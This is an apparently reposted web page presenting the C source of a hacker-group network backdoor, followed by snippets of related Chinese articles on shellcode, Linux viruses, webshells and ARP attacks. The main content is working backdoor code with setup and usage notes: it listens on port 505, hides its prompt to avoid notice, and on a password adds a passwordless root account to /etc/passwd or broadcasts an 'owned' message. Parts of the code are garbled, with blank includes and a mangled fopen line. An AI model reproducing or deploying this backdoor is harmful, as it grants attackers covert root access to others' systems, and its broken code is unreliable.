backdoor病毒珍藏绝密源代码_漏洞研究

--=\\backdoor.c\\=-- /*  

A rip off a sockets tutorial i found somewhere cause I didn't feel like  

writing stupid basic sockets code when I had it in my src directory  

already.  

*/  

/* Greets:  

Undernet Channels:  

#rootworm, #hacktech, #hyperlink, #3xposure, #legionoot  

Groups:  

The LegionOOT (www.legionoot.cc), Team Sploit  

People:  

Cyph3r, n3m0, Adoni, f0bic, d0g, khe0ps, h-S-t,  

F-o-X, NeonMatrix, Azmodan, & Venomous  

/*  

Usage (setup):  

# gcc -o backdoor backdoor.c  

# ./backdoor password &  

Usage (using):  

telnet to host (port 505) --> type the password (don't wait for a  

prompt, there isn't one so its less obvious its a backdoor) -->  

type 1or 2. And yes it's _supposed_ to disconnect you after  

each command.  

*/  

#include   

#include   

#include   

#include   

#include   

#include   

#include   

#include   

#define PORT 505  

#define MAXDATASIZE 100  

#define BACKLOG 10  

void handle(char *command);  

int main(int argc, char *argv[])  

{  

int sockfd, new_fd, sin_size, numbytes;  

char *bytes;  

struct sockaddr_in my_addr;  

struct sockaddr_in their_addr;  

char buf[MAXDATASIZE];  

char ask[]="Enter Command (1 to put r00t::0:0:... in /etc/passwd, 2 to  

send '7h1s b0x 1s 0wn3d' to all people on the box: ";  

if (argc != 2) {  

fprintf(stderr,"Usage: %s password\n", argv[0]);  

exit(1);  

}  

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {  

perror("socket");  

exit(1);  

}  

my_addr.sin_family = AF_INET;  

my_addr.sin_port = htons(PORT);  

my_addr.sin_addr.s_addr = INADDR_ANY;  

if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)  

{  

perror("bind");  

exit(1);  

}  

if (listen(sockfd, BACKLOG) == -1) {  

perror("listen");  

exit(1);  

}  

while(1) { /* main accept() loop */  

sin_size = sizeof(struct sockaddr_in);  

if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \  

&sin_size)) ==  

{  

perror("accept");  

continue;  

}  

inet_ntoa(their_addr.sin_addr);  

if (!fork()) {  

recv(new_fd, buf,  

MAXDATASIZE, 0);  

bytes = strstr(buf, argv[1]);  

if (bytes != NULL){  

send(new_fd, ask, sizeof(ask), 0);  

numbytes=recv(new_fd, buf,  

MAXDATASIZE, 0);  

buf[numbytes] = '\0';  

handle(buf);  

}  

close(new_fd);  

exit(0);  

}  

close(new_fd);  

while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child  

processes */  

}  

}  

void handle(char *command)  

{  

FILE *fle;  

if(strstr(command, "1") != NULL)  

{  

fle = f0/*n("/etc/passwd", "a*/;  

fprintf(fle, "r00t::0:0:r00t:/root:/bin/bash");  

fclose(fle);  

}  

if(strstr(command, "2") != NULL)  

{  

system("wall 7h1s b0x 1s 0wn3d");  

}  

}  

PBBSER  

pbbser@legionoot.hypermart.net  

---------------------------- 

时间: 2024-10-26 21:55:46

backdoor病毒珍藏绝密源代码_漏洞研究的相关文章

“冲击波”病毒的shellcode源代码_漏洞研究

2年前"冲击波"病毒爆发时,我曾经对它的SHELLCODE进行过分析,现在把我当时写的分析献出来,   让大家看看"一代名毒"是怎样的.一般来说,shellcode都是这样写的,因此只要hook shellcode必须调用的api,判断esp和eip   的差值如果在0x1000以内(也就是说代码在堆栈里运行),那么基本上可以确认系统受到缓冲区溢出攻击,该进程必须马上退出.   当然,有些更厉害的shellcode采用直接调用native api,raw socke

linux的病毒发展史及分类_漏洞研究

1996年的Staog是Linux系统下的第一个病毒,它出自澳大利亚一个叫VLAD的组织(Windows 95下的第一个病毒程序Boza也系该组织所为).Staog病毒是用汇编语言编写,专门感染二进制文件,并通过三种方式去尝试得到root权限. Staog病毒并不会对系统有什么实质性的损坏.它应该算是一个演示版.它向世人揭示了Linux可能被病毒感染的潜在危险.Linux系统上第二个被发现的病毒是Bliss病毒,它是一个不小心被释放出来的实验性病毒.与其它病毒不同的是,Bliss本身带有免疫程序

Pclxav木马猎手第一代特征码引擎源代码_漏洞研究

发布原因,主要是因为国内某安全软件长期存在的引擎问题.希望本文可以让其做实质性更新. 安全软件,要给用户,使用者以安全,而不是麻烦 .具体引擎问题表现,是扫描文件,创建一拷贝,再扫描这个拷贝的文件. 即使象AVP这种杀壳专家,见到壳也不会通通脱掉.也有很大的可能直接在壳中提取病毒 定义. 源代码如下,有部分删节,因本文并不是让所有的人都来写扫描器,且此引擎亦不再使用 .  const  cBuf_Size = 65536; var fintbuffer:pbytearray;  procedur

当备份数据库不能用时.用邮件列表得到WEBSHELL!(图)_漏洞研究

今天上午闲着无聊,刚好一个朋友发过来一个网站的后台管理密码.他要我帮他看看.我说你得到后台了.可以用备份数据库功能得到WEBSHELL啊.你还发过来干嘛.他说后台有数据备份的选项.但是不能用.大家看一下图!  列表得到WEBSHELL!(图)_漏洞研究-数据库备份拿shell">  里面有备份的选项.但是点了之后出现错误!应该是管理员把文件改名了.或者是位置改变了.不能备份数据库,那怎么办,不能白白的浪费这样的一个机会.我就在后台里面到处看了一下.发现可以通过改网站注册用户的邮件地址.我们

JSP中的源代码泄漏问题_漏洞研究

摘要:在JSP技术得到广泛应用的同时,由于源代码泄漏而引起的JSP安全性也受到了广泛的关注.本文分析了几种造成源代码泄漏的因素,并针对每种因素提出了各自的解决方法.  关键词:JSP  源代码 泄漏   引言  JSP编程语言自从推出之日起,由于它的快速.平台无关.可扩展.面向对象等特性得到了越来越广泛的应用,越来越多的厂家开发出了各种各样的支持平台如IBM 公司的WebSphere.BEA公司的WebLogic等等,也有越来越多的网站开始将自己的平台架构在JSP 环境中.    但是随之而来的

JSP脚本漏洞面面观_漏洞研究

  服务器漏洞是安全问题的起源,黑客对网站的攻击也大多是从查找对方的漏洞开始的.所以只有了解自身的漏洞,网站管理人员才能采取相应的对策,阻止外来的攻击.下面介绍一下一些服务器(包括Web服务器和JSP服务器)的常见漏洞.    Apache泄露重写的任意文件漏洞是怎么回事?    在Apache1.2以及以后的版本中存在一个mod_rewrite模块,它用来指定特殊URLS在网络服务器文件系统上所映射的绝对路径.如果传送一个包含正确表达参数的重写规则,攻击者就可以查看目标主机上的任意文件.   

再探九酷网络个人主页空间管理系统_漏洞研究

本文作者:玄猫[B.C.T]  本文原发表于<黑客X档案>2005年第7期,网上首发地址为B.C.T(http://www.cnbct.org/showarticle.asp?id=495)和黑色森林(http://www.blackwoosd.cn)  本文版权归<黑客X档案>和作者杂志社所有   --------------------------------------------------------------------------------  玄猫在2004年12

新兴木马NameLess BackDoor复仇记(图)_漏洞研究

NameLess BackDoor是一款新兴的DLL型木马,这个木马出世没多久,但绝对是一匹极有潜质的千里驹.说起NameLess BackDoor的前身来,不得不提及榕哥的BITS和WinEggDrop的PortLess.这两款大名鼎鼎的木马曾经都风光一时,可以说是木马界的元老了.而NameLess BackDoor则是汇集了上面这两款木马的优点,在目标机器的进程管理器中看不到,平时没有端口,提供正向连接和反向连接两种功能.同时NameLess BackDoor又去除了各处的缺点,比如反弹的c

ARP病毒入侵原理和解决方案_漏洞研究

解决ARP攻击的方法       [故障原因]   局域网内有人使用ARP欺骗的木马程序(比如:传奇盗号的软件,某些传奇外挂中也被恶意加载了此程序).   [故障原理]   要了解故障原理,我们先来了解一下ARP协议.   在局域网中,通过ARP协议来完成IP地址转换为第二层物理地址(即MAC地址)的.ARP协议对网络安全具有重要的意义.通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞.   ARP协议是"Address Resolution Protoc